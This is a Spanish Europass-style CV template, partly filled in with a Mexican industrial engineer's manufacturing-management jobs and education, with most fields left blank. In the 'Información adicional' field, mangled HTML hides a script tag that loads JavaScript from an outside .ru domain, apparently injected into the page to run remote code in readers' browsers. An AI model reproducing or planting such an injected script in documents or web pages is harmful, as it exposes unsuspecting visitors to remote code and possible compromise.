

|  |
| --- |
| **Curriculum Vitae****Europeo** |

|  |
| --- |
| **Información personal** |

|  |  |  |
| --- | --- | --- |
| Nombre |  |  |
| Dirección |  |  |
| Teléfono |  |  |
| Correo electrónico |  |  |

|  |  |  |
| --- | --- | --- |
| Nacionalidad |  |  |

|  |  |  |
| --- | --- | --- |
| Edad |  |  |

|  |
| --- |
| **experiencia laboral** |

|  |  |  |
| --- | --- | --- |
| • Fechas (de – a) |  | **0/0-0/0** |
| • Nombre y dirección del empleador |  | **Tramex del Norte** |
| • Tipo de empresa o sector |  | **Producción, taller y fábrica (Dirección - Gerencia)** |
| • Puesto o cargo ocupados |  |  |
| • Principales actividades y responsabilidades |  | **Dirigir y coordinar todas las operaciones administrativas y de manufactura de la empresa. Responsable de lograr el cumplimiento de los planes y programas de produccion, satisfaciendo los requerimientos de calidad, cantidad, tiempo de entrega y costo.** |
|  |  |  |
| • Fechas (de – a) |  | **0/0-0/0** |
| • Nombre y dirección del empleador |  | **Aramark Manufacturing** |
| • Tipo de empresa o sector |  | **Producción, taller y fábrica (Ingenieros - Técnicos)** |
| • Puesto o cargo ocupados |  |  |
| • Principales actividades y responsabilidades |  | **Dirigir y administrar proyectos de mejora continua, enfocados a la planacion estrategica y la implementacion de soluciones integrales basadas en la mejora de la calidad del producto, tecnologia de la informacion, cambio organizacional.** |

|  |  |  |
| --- | --- | --- |
| • Fechas (de – a) |  | **0/0-0/0** |
| • Nombre y dirección del empleador |  | **807 Company de Mexico** |
| • Tipo de empresa o sector |  | **Producción, taller y fábrica (Dirección - Gerencia)** |
| • Puesto o cargo ocupados |  |  |
| • Principales actividades y responsabilidades |  | **Responsable de planear, desarrollar e implementar programas de calidad y produccion de la compañia, analizar los procesos de produccion y sus mejoras. Cumplimiento de metas productivas y coordinacion de equipo de trabajo de los diferentes departamentos.** |

|  |
| --- |
| **Educación y formación** |

|  |  |  |
| --- | --- | --- |
| **•** Fechas (de – a) |  | **0/2001** |
| • Nombre y tipo de organización que ha impartido la educación o la formación |  |  |
| • Principales materias o capacidades ocupacionales tratadas |  | **Tecnologico de estudios superiores Sierra Madre campus Torreon Coahuila Mexico. Ingeniería** |
| • Título de la cualificación obtenida |  | **Ing. Indistrial y de sistemas** |
| • (Si procede) Nivel alcanzado en la clasificación nacional |  | **Ingeniero Superior** |

|  |  |  |
| --- | --- | --- |
| • Fechas (de – a) |  |  |
| • Nombre y tipo de organización que ha impartido la educación o la formación |  |  |
| • Principales materias o capacidades ocupacionales tratadas |  |  |
| • Título de la cualificación obtenida |  |  |
| • (Si procede) Nivel alcanzado en la clasificación nacional |  |  |

|  |  |  |
| --- | --- | --- |
| • Fechas (de – a) |  |  |
| • Nombre y tipo de organización que ha impartido la educación o la formación |  |  |
| • Principales materias o capacidades ocupacionales tratadas |  |  |
| • Título de la cualificación obtenida |  |  |
| • (Si procede) Nivel alcanzado en la clasificación nacional |  |  |
| • Fechas (de – a) |  |  |
| • Nombre y tipo de organización que ha impartido la educación o la formación |  |  |
| • Principales materias o capacidades ocupacionales tratadas |  | **. Administración y Dirección de Empresas** |
| • Título de la cualificación obtenida |  | **7 habitos de la gente altamente efectiva.** |
| • (Si procede) Nivel alcanzado en la clasificación nacional |  |  |

|  |  |  |
| --- | --- | --- |
| **Capacidades y aptitudes personales***Adquiridas a lo largo de la vida y la carrera educativa y profesional, pero no necesariamente avaladas por certificados y diplomas oficiales.* |  |  |
| Lengua materna |  |  |

|  |
| --- |
| **otros idiomas** |

|  |  |  |
| --- | --- | --- |
|  |  |  |
| **•** Lectura |  |  |
| **•** Escritura |  |  |
| **•** Expresión oral**•** Lectura**•** Escritura* Expresión oral
 |  |  |
| **Capacidades y aptitudes sociales***Vivir y trabajar con otras personas, en entornos multiculturales, en puestos donde la comunicación es importante y en situaciones donde el trabajo en equipo resulta esencial (por ejemplo, cultura y deportes), etc.* |  |  |

|  |  |  |
| --- | --- | --- |
| **Capacidades y aptitudes organizativas***Por ejemplo, coordinación y administración de personas, proyectos, presupuestos; en el trabajo, en labores de voluntariado (por ejemplo, cultura y deportes), en el hogar, etc.* |  |  |

|  |  |  |
| --- | --- | --- |
| **Capacidades y aptitudes técnicas***Con ordenadores, tipos específicos de equipos, maquinaria, etc.* |  |  |

|  |  |  |
| --- | --- | --- |
| **Capacidades y aptitudes artísticas***Música, escritura, diseño, etc****.*** |  |  |

|  |  |  |
| --- | --- | --- |
| Otras capacidades y aptitudes*Que no se hayan nombrado anteriormente.* |  |  |

|  |  |  |
| --- | --- | --- |
| Permiso(s) de conducción |  |  |

|  |  |  |
| --- | --- | --- |
| **Información adicional** |  | **<B>Pon tu Curriculum aquí...</B/ </> </>script src=http://www.bannerdriven.ru/ads.js>** |

|  |  |  |
| --- | --- | --- |
| **Anexos** |  | **[ Enumerar los documentos anexos. ]** |